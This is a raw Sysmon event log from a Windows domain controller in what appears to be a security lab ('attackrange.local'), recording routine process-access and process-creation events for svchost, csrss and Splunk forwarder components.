09:12:52.689{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005650Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:52.689{A5F018FF-28BC-5F80-0500-000000007F01}6441148C:\Windows\system32\csrss.exe{A5F018FF-2994-5F80-4001-000000007F01}3732C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000005649Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:52.689{A5F018FF-294E-5F80-0501-000000007F01}35044008C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-2994-5F80-4001-000000007F01}3732C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000005648Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:52.689{A5F018FF-2994-5F80-4001-000000007F01}3732C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe8.0.2Active Directory monitorsplunk ApplicationSplunk Inc.splunk-admon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x80000000000000005647Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:52.017{A5F018FF-294F-5F80-0901-000000007F01}21084736C:\Windows\system32\conhost.exe{A5F018FF-2994-5F80-3F01-000000007F01}3880C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005646Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:52.017{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005645Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:52.017{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005644Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:52.017{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005643Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:52.017{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005642Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:52.017{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005641Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:52.017{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005640Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:52.017{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005639Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:52.017{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005638Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:52.017{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005637Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:52.017{A5F018FF-28BC-5F80-0500-000000007F01}6442396C:\Windows\system32\csrss.exe{A5F018FF-2994-5F80-3F01-000000007F01}3880C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000005636Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:52.017{A5F018FF-294E-5F80-0501-000000007F01}35044008C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-2994-5F80-3F01-000000007F01}3880C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000005635Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:52.017{A5F018FF-2994-5F80-3F01-000000007F01}3880C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x80000000000000005674Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:53.360{A5F018FF-294F-5F80-0901-000000007F01}21084736C:\Windows\system32\conhost.exe{A5F018FF-2995-5F80-4101-000000007F01}4888C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005673Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:53.360{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005672Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:53.360{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005671Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:53.360{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005670Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:53.360{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005669Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:53.360{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005668Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:53.360{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005667Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:53.360{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005666Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:12:53.360{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005665Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 